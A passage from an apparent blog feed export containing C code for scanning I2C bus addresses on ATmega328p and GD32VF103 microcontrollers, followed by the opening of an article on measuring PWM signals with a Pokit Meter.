class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"n\">_BV<\/span><span class=\"p\">(<\/span><span class=\"n\">TWINT<\/span><span class=\"p\">)<\/span><span class=\"w\"> <\/span><span class=\"o\">|<\/span><span class=\"w\"> <\/span><span class=\"n\">_BV<\/span><span class=\"p\">(<\/span><span class=\"n\">TWSTO<\/span><span class=\"p\">)<\/span><span class=\"w\"> <\/span><span class=\"o\">|<\/span><span class=\"w\"> <\/span><span class=\"n\">_BV<\/span><span class=\"p\">(<\/span><span class=\"n\">TWEN<\/span><span class=\"p\">);<\/span>\n<span class=\"w\">    <\/span><span class=\"n\">loop_until_bit_is_clear<\/span><span class=\"p\">(<\/span><span class=\"n\">TWCR<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"n\">TWSTO<\/span><span class=\"p\">);<\/span>\n<span class=\"w\">    <\/span><span class=\"c1\">\/\/ NB: TWSTO is cleared automatically<\/span>\n<span class=\"w\">    <\/span><span class=\"c1\">\/\/ NB: TWINT is NOT set after STOP transmission ...<\/span>\n<span class=\"p\">}<\/span>\n<span class=\"c1\">\/\/ rw: TW_READ (1) or TW_WRITE (0)<\/span>\n<span class=\"k\">static<\/span><span class=\"w\"> <\/span><span class=\"kt\">void<\/span><span class=\"w\"> <\/span><span class=\"nf\">i2c_set_address<\/span><span class=\"p\">(<\/span><span class=\"kt\">uint8_t<\/span><span class=\"w\"> <\/span><span class=\"n\">addr<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"kt\">uint8_t<\/span><span class=\"w\"> <\/span><span class=\"n\">rw<\/span><span class=\"p\">)<\/span>\n<span class=\"p\">{<\/span>\n<span class=\"w\">    <\/span><span class=\"n\">TWDR<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"p\">(<\/span><span class=\"n\">addr<\/span><span class=\"w\"> <\/span><span class=\"o\">&lt;&lt;<\/span><span class=\"w\"> <\/span><span class=\"mi\">1<\/span><span class=\"p\">)<\/span><span class=\"w\"> <\/span><span class=\"o\">|<\/span><span class=\"w\"> <\/span><span class=\"n\">rw<\/span><span class=\"p\">;<\/span>\n<span class=\"w\">    <\/span><span class=\"c1\">\/\/ clear TWINT flag, send STOP, enable TWI unit<\/span>\n<span class=\"w\">    <\/span><span class=\"n\">TWCR<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"n\">_BV<\/span><span class=\"p\">(<\/span><span class=\"n\">TWINT<\/span><span class=\"p\">)<\/span><span class=\"w\"> <\/span><span class=\"o\">|<\/span><span class=\"w\"> <\/span><span class=\"n\">_BV<\/span><span class=\"p\">(<\/span><span class=\"n\">TWEN<\/span><span class=\"p\">);<\/span>\n<span class=\"w\">    <\/span><span class=\"n\">loop_until_bit_is_set<\/span><span class=\"p\">(<\/span><span class=\"n\">TWCR<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"n\">TWINT<\/span><span class=\"p\">);<\/span>\n<span class=\"p\">}<\/span>\n\n<span class=\"k\">static<\/span><span class=\"w\"> <\/span><span class=\"kt\">void<\/span><span class=\"w\"> <\/span><span class=\"nf\">setup<\/span><span class=\"p\">()<\/span>\n<span class=\"p\">{<\/span>\n<span class=\"w\">    <\/span><span class=\"n\">setup_uart<\/span><span class=\"p\">();<\/span>\n<span class=\"w\">    <\/span><span class=\"n\">stdout<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"o\">&amp;<\/span><span class=\"n\">uart_stdout<\/span><span class=\"p\">;<\/span>\n<span class=\"w\">    <\/span><span class=\"n\">i2c_set_100kHz<\/span><span class=\"p\">();<\/span>\n\n<span class=\"w\">    <\/span><span class=\"c1\">\/\/ uncomment if your I2C modules don&#39;t come with pull-ups ...<\/span>\n<span class=\"w\">    <\/span><span class=\"c1\">\/\/ DDRC &amp;= ~ _BV(DDC4); PORTC |= _BV(PORTC4);<\/span>\n<span class=\"w\">    <\/span><span class=\"c1\">\/\/ DDRC &amp;= ~ _BV(DDC5); PORTC |= _BV(PORTC5);<\/span>\n<span class=\"p\">}<\/span>\n\n<span class=\"k\">static<\/span><span class=\"w\"> <\/span><span class=\"kt\">void<\/span><span class=\"w\"> <\/span><span class=\"nf\">probe_address<\/span><span class=\"p\">(<\/span><span class=\"kt\">uint8_t<\/span><span class=\"w\"> <\/span><span class=\"n\">i<\/span><span class=\"p\">)<\/span>\n<span class=\"p\">{<\/span>\n<span class=\"w\">    <\/span><span class=\"n\">i2c_start<\/span><span class=\"p\">();<\/span>\n<span class=\"w\">    <\/span><span class=\"n\">i2c_set_address<\/span><span class=\"p\">(<\/span><span class=\"n\">i<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"n\">TW_WRITE<\/span><span class=\"p\">);<\/span>\n<span class=\"w\">    <\/span><span class=\"k\">if<\/span><span class=\"w\"> <\/span><span class=\"p\">((<\/span><span class=\"n\">TWSR<\/span><span class=\"w\"> <\/span><span class=\"o\">&amp;<\/span><span class=\"w\"> <\/span><span class=\"n\">TW_STATUS_MASK<\/span><span class=\"p\">)<\/span><span class=\"w\"> <\/span><span class=\"o\">==<\/span><span class=\"w\"> <\/span><span class=\"n\">TW_MT_SLA_ACK<\/span><span class=\"p\">)<\/span>\n<span class=\"w\">         <\/span><span class=\"n\">printf<\/span><span class=\"p\">(<\/span><span class=\"s\">&quot;Found device on address: 0x%&quot;<\/span><span class=\"w\"> <\/span><span class=\"n\">PRIx8<\/span><span class=\"w\"> <\/span><span class=\"s\">&quot; (%&quot;<\/span><span class=\"w\"> <\/span><span class=\"n\">PRIu8<\/span><span class=\"w\"> <\/span><span class=\"s\">&quot;)<\/span><span class=\"se\">\\n<\/span><span class=\"s\">&quot;<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"n\">i<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"n\">i<\/span><span class=\"p\">);<\/span>\n<span class=\"w\">    <\/span><span class=\"n\">i2c_stop<\/span><span class=\"p\">();<\/span>\n<span class=\"p\">}<\/span>\n\n<span class=\"k\">static<\/span><span class=\"w\"> <\/span><span class=\"kt\">void<\/span><span class=\"w\"> <\/span><span class=\"nf\">scan<\/span><span class=\"p\">()<\/span>\n<span class=\"p\">{<\/span>\n<span class=\"w\">    <\/span><span class=\"c1\">\/\/ skipping reserved addresses<\/span>\n<span class=\"w\">    <\/span><span class=\"c1\">\/\/ cf. https:\/\/en.wikipedia.org\/wiki\/I%C2%B2C#Reserved_addresses_in_7-bit_address_space<\/span>\n<span class=\"w\">    <\/span><span class=\"k\">for<\/span><span class=\"w\"> <\/span><span class=\"p\">(<\/span><span class=\"kt\">uint32_t<\/span><span class=\"w\"> <\/span><span class=\"n\">i<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"mi\">8<\/span><span class=\"p\">;<\/span><span class=\"w\"> <\/span><span class=\"n\">i<\/span><span class=\"o\">&lt;<\/span><span class=\"mi\">128<\/span><span class=\"p\">;<\/span><span class=\"w\"> <\/span><span class=\"o\">++<\/span><span class=\"n\">i<\/span><span class=\"p\">)<\/span>\n<span class=\"w\">        <\/span><span class=\"n\">probe_address<\/span><span class=\"p\">(<\/span><span class=\"n\">i<\/span><span class=\"p\">);<\/span>\n<span class=\"p\">}<\/span>\n\n<span class=\"kt\">int<\/span><span class=\"w\"> <\/span><span class=\"nf\">main<\/span><span class=\"p\">()<\/span>\n<span class=\"p\">{<\/span>\n<span class=\"w\">    <\/span><span class=\"n\">setup<\/span><span class=\"p\">();<\/span>\n\n<span class=\"w\">    <\/span><span class=\"k\">for<\/span><span class=\"w\"> <\/span><span class=\"p\">(;;)<\/span><span class=\"w\"> <\/span><span class=\"p\">{<\/span>\n<span class=\"w\">        <\/span><span class=\"n\">printf<\/span><span class=\"p\">(<\/span><span class=\"s\">&quot;Scanning I2C bus at 100 kHz ...<\/span><span class=\"se\">\\n<\/span><span class=\"s\">&quot;<\/span><span class=\"p\">);<\/span>\n<span class=\"w\">        <\/span><span class=\"n\">scan<\/span><span class=\"p\">();<\/span>\n\n<span class=\"w\">        <\/span><span class=\"n\">printf<\/span><span class=\"p\">(<\/span><span class=\"s\">&quot;Scanning I2C bus at 400 kHz ...<\/span><span class=\"se\">\\n<\/span><span class=\"s\">&quot;<\/span><span class=\"p\">);<\/span>\n<span class=\"w\">        <\/span><span class=\"n\">i2c_set_400kHz<\/span><span class=\"p\">();<\/span>\n<span class=\"w\">        <\/span><span class=\"n\">scan<\/span><span class=\"p\">();<\/span>\n\n<span class=\"w\">        <\/span><span class=\"n\">printf<\/span><span class=\"p\">(<\/span><span class=\"s\">&quot;done<\/span><span class=\"se\">\\n\\n<\/span><span class=\"s\">&quot;<\/span><span class=\"p\">);<\/span>\n\n<span class=\"w\">        <\/span><span class=\"n\">i2c_set_100kHz<\/span><span class=\"p\">();<\/span>\n\n<span class=\"w\">        <\/span><span class=\"k\">for<\/span><span class=\"w\"> <\/span><span class=\"p\">(<\/span><span class=\"kt\">uint16_t<\/span><span class=\"w\"> <\/span><span class=\"n\">i<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"mi\">0<\/span><span class=\"p\">;<\/span><span class=\"w\"> <\/span><span class=\"n\">i<\/span><span class=\"w\"> <\/span><span class=\"o\">&lt;<\/span><span class=\"w\"> <\/span><span class=\"mi\">30<\/span><span class=\"w\"> <\/span><span class=\"o\">*<\/span><span class=\"w\"> <\/span><span class=\"mi\">30<\/span><span class=\"p\">;<\/span><span class=\"w\"> <\/span><span class=\"o\">++<\/span><span class=\"n\">i<\/span><span class=\"p\">)<\/span>\n<span class=\"w\">            <\/span><span class=\"n\">_delay_ms<\/span><span class=\"p\">(<\/span><span class=\"mi\">32<\/span><span class=\"p\">);<\/span>\n<span class=\"w\">    <\/span><span class=\"p\">}<\/span>\n\n<span class=\"w\">    <\/span><span class=\"k\">return<\/span><span class=\"w\"> <\/span><span class=\"mi\">0<\/span><span class=\"p\">;<\/span>\n<span class=\"p\">}<\/span>\n<\/code><\/pre><\/div>\n\n<p>The is also a pretty direct translation of the basic idea. It's clear from the\ncode that the scanner check whether the address is acknowledged or not.<\/p>\n<h3 id=\"see-also\">See Also<a class=\"headerlink\" href=\"#see-also\" title=\"Permanent link\">&para;<\/a><\/h3>\n<ul>\n<li><a href=\"https:\/\/ww1.microchip.com\/downloads\/en\/DeviceDoc\/ATmega48A-PA-88A-PA-168A-PA-328-P-DS-DS40002061B.pdf\">ATmega328p Datasheet<\/a> Section 22 for the I2C (a.k.a. TWI) register specification<\/li>\n<li><a href=\"https:\/\/www.nongnu.org\/avr-libc\/user-manual\/modules.html\">avr-libc<\/a> documentation of the used headers<\/li>\n<li><a href=\"https:\/\/github.com\/gsauthof\/i2c-scanner\">My github repository<\/a> for the complete code<\/li>\n<\/ul>\n<h2 id=\"scanning-on-the-gd32vf103\">Scanning on the GD32VF103<a class=\"headerlink\" href=\"#scanning-on-the-gd32vf103\" title=\"Permanent link\">&para;<\/a><\/h2>\n<p>Scanning for I2C addresses on the the GD32VF103 32 Bit RISC-V MCU\n(e.g. the Longan Nano) isn't too different:<\/p>\n<div class=\"m-code\"><pre><span><\/span><code><span class=\"k\">static<\/span><span class=\"w\"> <\/span><span class=\"kt\">void<\/span><span class=\"w\"> <\/span><span class=\"nf\">probe_address<\/span><span class=\"p\">(<\/span><span class=\"kt\">uint32_t<\/span><span class=\"w\"> <\/span><span class=\"n\">i<\/span><span class=\"p\">)<\/span>\n<span class=\"p\">{<\/span>\n<span class=\"w\">    <\/span><span class=\"k\">while<\/span><span class=\"w\"> <\/span><span class=\"p\">(<\/span><span class=\"n\">i2c_flag_get<\/span><span class=\"p\">(<\/span><span class=\"n\">I2C0<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"n\">I2C_FLAG_I2CBSY<\/span><span class=\"p\">))<\/span>\n<span class=\"w\">        <\/span><span class=\"p\">;<\/span>\n<span class=\"w\">    <\/span><span class=\"n\">i2c_start_on_bus<\/span><span class=\"p\">(<\/span><span class=\"n\">I2C0<\/span><span class=\"p\">);<\/span>\n<span class=\"w\">    <\/span><span class=\"k\">while<\/span><span class=\"w\"> <\/span><span class=\"p\">(<\/span><span class=\"o\">!<\/span><span class=\"n\">i2c_flag_get<\/span><span class=\"p\">(<\/span><span class=\"n\">I2C0<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"n\">I2C_FLAG_SBSEND<\/span><span class=\"p\">))<\/span>\n<span class=\"w\">        <\/span><span class=\"p\">;<\/span>\n<span class=\"w\">    <\/span><span class=\"c1\">\/\/ it&#39;s cleared by getting the flag, ie. reading I2C_STAT0<\/span>\n<span class=\"w\">    <\/span><span class=\"n\">i2c_master_addressing<\/span><span class=\"p\">(<\/span><span class=\"n\">I2C0<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"n\">i<\/span><span class=\"w\"> <\/span><span class=\"o\">&lt;&lt;<\/span><span class=\"w\"> <\/span><span class=\"mi\">1<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"n\">I2C_TRANSMITTER<\/span><span class=\"p\">);<\/span>\n<span class=\"w\">    <\/span><span class=\"kt\">uint32_t<\/span><span class=\"w\"> <\/span><span class=\"n\">k<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"mi\">0<\/span><span class=\"p\">;<\/span>\n<span class=\"w\">    <\/span><span class=\"k\">while<\/span><span class=\"w\"> <\/span><span class=\"p\">(<\/span><span class=\"o\">!<\/span><span class=\"n\">i2c_flag_get<\/span><span class=\"p\">(<\/span><span class=\"n\">I2C0<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"n\">I2C_FLAG_ADDSEND<\/span><span class=\"p\">))<\/span><span class=\"w\"> <\/span><span class=\"p\">{<\/span>\n<span class=\"w\">        <\/span><span class=\"k\">if<\/span><span class=\"w\"> <\/span><span class=\"p\">(<\/span><span class=\"n\">i2c_flag_get<\/span><span class=\"p\">(<\/span><span class=\"n\">I2C0<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"n\">I2C_FLAG_AERR<\/span><span class=\"p\">))<\/span><span class=\"w\"> <\/span><span class=\"p\">{<\/span>\n<span class=\"w\">            <\/span><span class=\"n\">i2c_flag_clear<\/span><span class=\"p\">(<\/span><span class=\"n\">I2C0<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"n\">I2C_FLAG_AERR<\/span><span class=\"p\">);<\/span>\n<span class=\"w\">            <\/span><span class=\"n\">i2c_stop_on_bus<\/span><span class=\"p\">(<\/span><span class=\"n\">I2C0<\/span><span class=\"p\">);<\/span>\n<span class=\"w\">            <\/span><span class=\"k\">return<\/span><span class=\"p\">;<\/span>\n<span class=\"w\">        <\/span><span class=\"p\">}<\/span>\n<span class=\"w\">        <\/span><span class=\"c1\">\/\/ in case no bus is connected<\/span>\n<span class=\"w\">        <\/span><span class=\"k\">if<\/span><span class=\"w\"> <\/span><span class=\"p\">(<\/span><span class=\"n\">k<\/span><span class=\"o\">++<\/span><span class=\"w\"> <\/span><span class=\"o\">&gt;<\/span><span class=\"w\"> <\/span><span class=\"mi\">1000<\/span><span class=\"w\"> <\/span><span class=\"o\">*<\/span><span class=\"w\"> <\/span><span class=\"mi\">1000<\/span><span class=\"p\">)<\/span><span class=\"w\"> <\/span><span class=\"p\">{<\/span>\n<span class=\"w\">            <\/span><span class=\"n\">i2c_stop_on_bus<\/span><span class=\"p\">(<\/span><span class=\"n\">I2C0<\/span><span class=\"p\">);<\/span>\n<span class=\"w\">            <\/span><span class=\"k\">return<\/span><span class=\"p\">;<\/span>\n<span class=\"w\">        <\/span><span class=\"p\">}<\/span>\n<span class=\"w\">    <\/span><span class=\"p\">}<\/span>\n<span class=\"w\">    <\/span><span class=\"n\">printf<\/span><span class=\"p\">(<\/span><span class=\"s\">&quot;Found device on address: 0x%&quot;<\/span><span class=\"w\"> <\/span><span class=\"n\">PRIx32<\/span><span class=\"w\"> <\/span><span class=\"s\">&quot; (%&quot;<\/span><span class=\"w\"> <\/span><span class=\"n\">PRIu32<\/span><span class=\"w\"> <\/span><span class=\"s\">&quot;)<\/span><span class=\"se\">\\n<\/span><span class=\"s\">&quot;<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"n\">i<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"n\">i<\/span><span class=\"p\">);<\/span>\n<span class=\"w\">    <\/span><span class=\"c1\">\/\/ NB: it&#39;s cleared by reading I2C_STAT0 _and_ I2C_STAT1<\/span>\n<span class=\"w\">    <\/span><span class=\"n\">i2c_flag_clear<\/span><span class=\"p\">(<\/span><span class=\"n\">I2C0<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"n\">I2C_FLAG_ADDSEND<\/span><span class=\"p\">);<\/span>\n\n<span class=\"w\">    <\/span><span class=\"n\">i2c_stop_on_bus<\/span><span class=\"p\">(<\/span><span class=\"n\">I2C0<\/span><span class=\"p\">);<\/span>\n\n<span class=\"w\">    <\/span><span class=\"c1\">\/\/ wait for stop being sent<\/span>\n<span class=\"w\">    <\/span><span class=\"k\">while<\/span><span class=\"w\"> <\/span><span class=\"p\">(<\/span><span class=\"n\">I2C_CTL0<\/span><span class=\"p\">(<\/span><span class=\"n\">I2C0<\/span><span class=\"p\">)<\/span><span class=\"w\"> <\/span><span class=\"o\">&amp;<\/span><span class=\"w\"> <\/span><span class=\"n\">I2C_CTL0_STOP<\/span><span class=\"p\">)<\/span>\n<span class=\"w\">        <\/span><span class=\"p\">;<\/span>\n<span class=\"p\">}<\/span>\n\n<span class=\"k\">static<\/span><span class=\"w\"> <\/span><span class=\"kt\">void<\/span><span class=\"w\"> <\/span><span class=\"nf\">scan<\/span><span class=\"p\">()<\/span>\n<span class=\"p\">{<\/span>\n<span class=\"w\">    <\/span><span class=\"c1\">\/\/ skipping reserved addresses<\/span>\n<span class=\"w\">    <\/span><span class=\"c1\">\/\/ cf. https:\/\/en.wikipedia.org\/wiki\/I%C2%B2C#Reserved_addresses_in_7-bit_address_space<\/span>\n<span class=\"w\">    <\/span><span class=\"k\">for<\/span><span class=\"w\"> <\/span><span class=\"p\">(<\/span><span class=\"kt\">uint32_t<\/span><span class=\"w\"> <\/span><span class=\"n\">i<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"mi\">8<\/span><span class=\"p\">;<\/span><span class=\"w\"> <\/span><span class=\"n\">i<\/span><span class=\"o\">&lt;<\/span><span class=\"mi\">128<\/span><span class=\"p\">;<\/span><span class=\"w\"> <\/span><span class=\"o\">++<\/span><span class=\"n\">i<\/span><span class=\"p\">)<\/span>\n<span class=\"w\">        <\/span><span class=\"n\">probe_address<\/span><span class=\"p\">(<\/span><span class=\"n\">i<\/span><span class=\"p\">);<\/span>\n<span class=\"p\">}<\/span>\n\n<span class=\"kt\">int<\/span><span class=\"w\"> <\/span><span class=\"nf\">main<\/span><span class=\"p\">()<\/span>\n<span class=\"p\">{<\/span>\n<span class=\"w\">    <\/span><span class=\"n\">rcu_periph_clock_enable<\/span><span class=\"p\">(<\/span><span class=\"n\">RCU_GPIOB<\/span><span class=\"p\">);<\/span>\n<span class=\"w\">    <\/span><span class=\"n\">rcu_periph_clock_enable<\/span><span class=\"p\">(<\/span><span class=\"n\">RCU_I2C0<\/span><span class=\"p\">);<\/span>\n<span class=\"w\">    <\/span><span class=\"c1\">\/\/ yes, I2C is open-drain<\/span>\n<span class=\"w\">    <\/span><span class=\"n\">gpio_init<\/span><span class=\"p\">(<\/span><span class=\"n\">GPIOB<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"n\">GPIO_MODE_AF_OD<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"n\">GPIO_OSPEED_50MHZ<\/span><span class=\"p\">,<\/span>\n<span class=\"w\">            <\/span><span class=\"n\">GPIO_PIN_6<\/span><span class=\"w\"> <\/span><span class=\"o\">|<\/span><span class=\"w\"> <\/span><span class=\"n\">GPIO_PIN_7<\/span><span class=\"p\">)<\/span><span class=\"w\"> <\/span><span class=\"p\">;<\/span>\n<span class=\"w\">    <\/span><span class=\"n\">i2c_deinit<\/span><span class=\"p\">(<\/span><span class=\"n\">I2C0<\/span><span class=\"p\">);<\/span>\n<span class=\"w\">    <\/span><span class=\"n\">i2c_clock_config<\/span><span class=\"p\">(<\/span><span class=\"n\">I2C0<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"mi\">100000<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"n\">I2C_DTCY_2<\/span><span class=\"p\">);<\/span>\n<span class=\"w\">    <\/span><span class=\"c1\">\/\/ NB: we don&#39;t call i2c_mode_addr_config()<\/span>\n<span class=\"w\">    <\/span><span class=\"c1\">\/\/     because we are only in master transmit mode<\/span>\n<span class=\"w\">    <\/span><span class=\"n\">i2c_enable<\/span><span class=\"p\">(<\/span><span class=\"n\">I2C0<\/span><span class=\"p\">);<\/span>\n\n<span class=\"w\">    <\/span><span class=\"k\">for<\/span><span class=\"w\"> <\/span><span class=\"p\">(;;)<\/span><span class=\"w\"> <\/span><span class=\"p\">{<\/span>\n<span class=\"w\">        <\/span><span class=\"n\">printf<\/span><span class=\"p\">(<\/span><span class=\"s\">&quot;Scanning I2C bus at 100 kHz ...<\/span><span class=\"se\">\\n<\/span><span class=\"s\">&quot;<\/span><span class=\"p\">);<\/span>\n<span class=\"w\">        <\/span><span class=\"n\">scan<\/span><span class=\"p\">();<\/span>\n\n<span class=\"w\">        <\/span><span class=\"n\">printf<\/span><span class=\"p\">(<\/span><span class=\"s\">&quot;Scanning I2C bus at 400 kHz ...<\/span><span class=\"se\">\\n<\/span><span class=\"s\">&quot;<\/span><span class=\"p\">);<\/span>\n<span class=\"w\">        <\/span><span class=\"n\">i2c_clock_config<\/span><span class=\"p\">(<\/span><span class=\"n\">I2C0<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"mi\">400000<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"n\">I2C_DTCY_2<\/span><span class=\"p\">);<\/span>\n<span class=\"w\">        <\/span><span class=\"n\">scan<\/span><span class=\"p\">();<\/span>\n\n<span class=\"w\">        <\/span><span class=\"n\">printf<\/span><span class=\"p\">(<\/span><span class=\"s\">&quot;done<\/span><span class=\"se\">\\n\\n<\/span><span class=\"s\">&quot;<\/span><span class=\"p\">);<\/span>\n\n<span class=\"w\">        <\/span><span class=\"n\">i2c_clock_config<\/span><span class=\"p\">(<\/span><span class=\"n\">I2C0<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"mi\">100000<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"n\">I2C_DTCY_2<\/span><span class=\"p\">);<\/span>\n<span class=\"w\">        <\/span><span class=\"n\">delay_1ms<\/span><span class=\"p\">(<\/span><span class=\"mi\">30<\/span><span class=\"w\"> <\/span><span class=\"o\">*<\/span><span class=\"w\"> <\/span><span class=\"mi\">1000<\/span><span class=\"p\">);<\/span>\n<span class=\"w\">    <\/span><span class=\"p\">}<\/span>\n\n<span class=\"w\">    <\/span><span class=\"k\">return<\/span><span class=\"w\"> <\/span><span class=\"mi\">0<\/span><span class=\"p\">;<\/span>\n<span class=\"p\">}<\/span>\n<\/code><\/pre><\/div>\n\n<p>Since the Nuclei SDK provides an I2C API that isn't too\nhigh-level (and arguably doesn't obfuscate too much) it's used\ninstead of wrapping the register accesses in a similar way.<\/p>\n<p>On that MCU, detecting the ACK of an address is a little bit\ntricky and it isn't explicitly documented in the manual.<\/p>\n<p>Also, the setup code for the I2C unit is more complex than\non the ATmega328p and arguably not immediately obvious after\nconsulting the manual.<\/p>\n<h3 id=\"see-also_1\">See Also<a class=\"headerlink\" href=\"#see-also_1\" title=\"Permanent link\">&para;<\/a><\/h3>\n<ul>\n<li><a href=\"http:\/\/www.gd32mcu.com\/download\/down\/document_id\/222\/path_type\/1\">GD32VF103 User Manual<\/a> Section 17 for the I2C (a.k.a. TWI) register specification<\/li>\n<li>Nuclei SDK source code for mapping the registers to API calls<\/li>\n<li><a href=\"https:\/\/github.com\/gsauthof\/i2c-scanner\">My github repository<\/a> for the complete code<\/li>\n<\/ul>\n<h2 id=\"other-mcus\">Other MCUs<a class=\"headerlink\" href=\"#other-mcus\" title=\"Permanent link\">&para;<\/a><\/h2>\n<p>Looking at the general idea and the above example it shouldn't be hard\nto implement an analogous I2C address scanner on a completely different MCU,\ngiven that it has some sort of acceptable documentation of its I2C unit.<\/p>","category":[{"@attributes":{"term":"misc"}},{"@attributes":{"term":"MCU"}},{"@attributes":{"term":"I2C"}},{"@attributes":{"term":"riscv"}}]},{"title":"Measuring PWM Signals with a Pokit Meter","link":{"@attributes":{"href":"https:\/\/gms.tf\/pwm-fft.html","rel":"alternate"}},"published":"2022-07-03T15:00:00+02:00","updated":"2022-07-03T15:00:00+02:00","author":{"name":"Georg Sauthoff"},"id":"tag:gms.tf,2022-07-03:\/pwm-fft.html","summary":"<p>This article describes how to measure a pulse-width-modulated\n(<a href=\"https:\/\/en.wikipedia.org\/wiki\/Pulse-width_modulation\">PWM<\/a>) signal using the Pokit Meter device.<\/p>\n<p>The Pokit Meter is a very small digital multimeter (DMM) like device\nthat can be interfaced over Bluetooth Low Energy (BLE). Due to\nits design and small form factor it comes with many limitations,\nbut \u2026<\/p>","content":"<p>This article describes how to measure a pulse-width-modulated\n(<a href=\"https:\/\/en.wikipedia.org\/wiki\/Pulse-width_modulation\">PWM<\/a>) signal using the Pokit Meter device.<\/p>\n<p>The Pokit Meter is a very small digital multimeter (DMM) like device\nthat can be interfaced over Bluetooth Low Energy (BLE). Due to\nits design and small form factor it comes with many limitations,\nbut it's good enough for some measurements, is relatively\ninexpensive (90 \u20ac or so) and is very portable.<\/p>\n<p>The <a href=\"https:\/\/www.pokitinnovations.com\/pokit-meter\/\">vendor<\/a> also provides an <a href=\"https:\/\/play.google.com\/store\/apps\/details?id=com.ingenuity.pokit.dev\">Android application<\/a> which (as of\n2022-06) is good enough for occasional measurements, but contains\ntoo many paper cuts, sadly.<\/p>\n<p>Besides the usual functions that are expected from an entry level DMM\n(limited to a lower range) and a logger mode, it supports an\noscilloscope (DSO) mode.<\/p>\n<p>Of course, the DSO mode is also very limited, most notably it doesn't\nsupport continuous data acquisition. However, its bandwidth is\ngood enough for sampling 1000 data points at a rate of 1 Mhz from\na low-level logic signal (i.e. over a period of 1 ms). Which is\ngood enough for e.g. measuring a 40 kHz PWM signal as used in IR\nconsumer remote protocols.<\/p>\n<p>Besides plotting the sampled signal, the Pokit Android software\nalso supports computing its frequency and duty cycle.\nUnfortunately, these functions are buggy (as of 2022-06), such\nthat every few times the wrong frequency is displayed (i.e. it's\ndoubled), such that one basically has to repeat a measurement several times\nand take a majority vote ... Example (correct frequency is 40\nkHz):<\/p>\n<p><img alt=\"Pokit Android App Screenshot that shows buggy frequency display\" src=\"https:\/\/gms.tf\/image\/pokit-freq-bug.png\" width=\"100%\"\/><\/p>\n<p>However, the graph still\nlooks fine. So it seems that the <a href=\"https:\/\/en.wikipedia.org\/wiki\/Fast_Fourier_transform\">FFT<\/a> and\/or the peak detection\nthe software uses or has implemented contains a bug.<\/p>\n<p>I thus exported the raw data of a few measurements (including\nseries where the bug wasn't triggered) and analyzed them with\nScipy, Numpy, Pandas and Seaborn. See also the <a href=\"#notebook\">last\nsection<\/a> for details (i.e. it's my exported Jupyter Notebook).<\/p>\n<p>Summary: The signal looks good in all cases and there really\naren't any unexpected issues with the results of the FFT such as\nthe spectrogram. Thus, even when using a simple peak detection\n'algorithm' there is aren't any challenges to reliably detect the signal's\nmain frequency, programmatically.<\/p>\n<p>Which increases the suspicion that the wrong frequency display is\nentirely caused by a bug in Polkit's Android software.<\/p>\n<div class=\"toc\">\n<ul>\n<li><a href=\"#pokit-meter-specifications\">Pokit Meter Specifications<\/a><\/li>\n<li><a href=\"#burden-voltage\">Burden Voltage<\/a><\/li>\n<li><a href=\"#paper-cuts\">Paper Cuts<\/a><\/li>\n<li><a href=\"#alternatives\">Alternatives<\/a><\/li>\n<li><a href=\"#notebook\">Notebook<\/a><\/li>\n<\/ul>\n<\/div>\n<h2 id=\"pokit-meter-specifications\">Pokit Meter Specifications<a class=\"headerlink\" href=\"#pokit-meter-specifications\" title=\"Permanent link\">&para;<\/a><\/h2>\n<p>Since the <a href=\"https:\/\/www.pokitinnovations.com\/specifications\/\">Pokit specifications<\/a>\nrequire some scrolling on the product page, I also include them\nhere:<\/p>\n<p>DMM:<\/p>\n<ul>\n<li>Voltage: 10 mV to 42 V AC (True RMS) 10 mV to 60 VDC +- 1%<\/li>\n<li>Current: 1 mA to 2 A AC (True RMS)\/DC +- 1%<\/li>\n<li>Resistance: 100 m\u03a9 to 1 M\u03a9 +- 5%<\/li>\n<li>Temp: 0 to 60 C +- 1 C<\/li>\n<li>Diode: 0 V - 1.0 V (Check Only)<\/li>\n<li>Input Impedance(DC): 1M\u03a9<\/li>\n<li>Continuity Check<\/li>\n<li>Continuity Check Delay (200 ms max)<\/li>\n<li>Continuity Buzzer (via phone)<\/li>\n<li>True RMS<\/li>\n<\/ul>\n<p>DSO:<\/p>\n<ul>\n<li>Voltage: 10 mV to 42 V AC 10 mV to 60 VDC +- 1%<\/li>\n<li>Current: 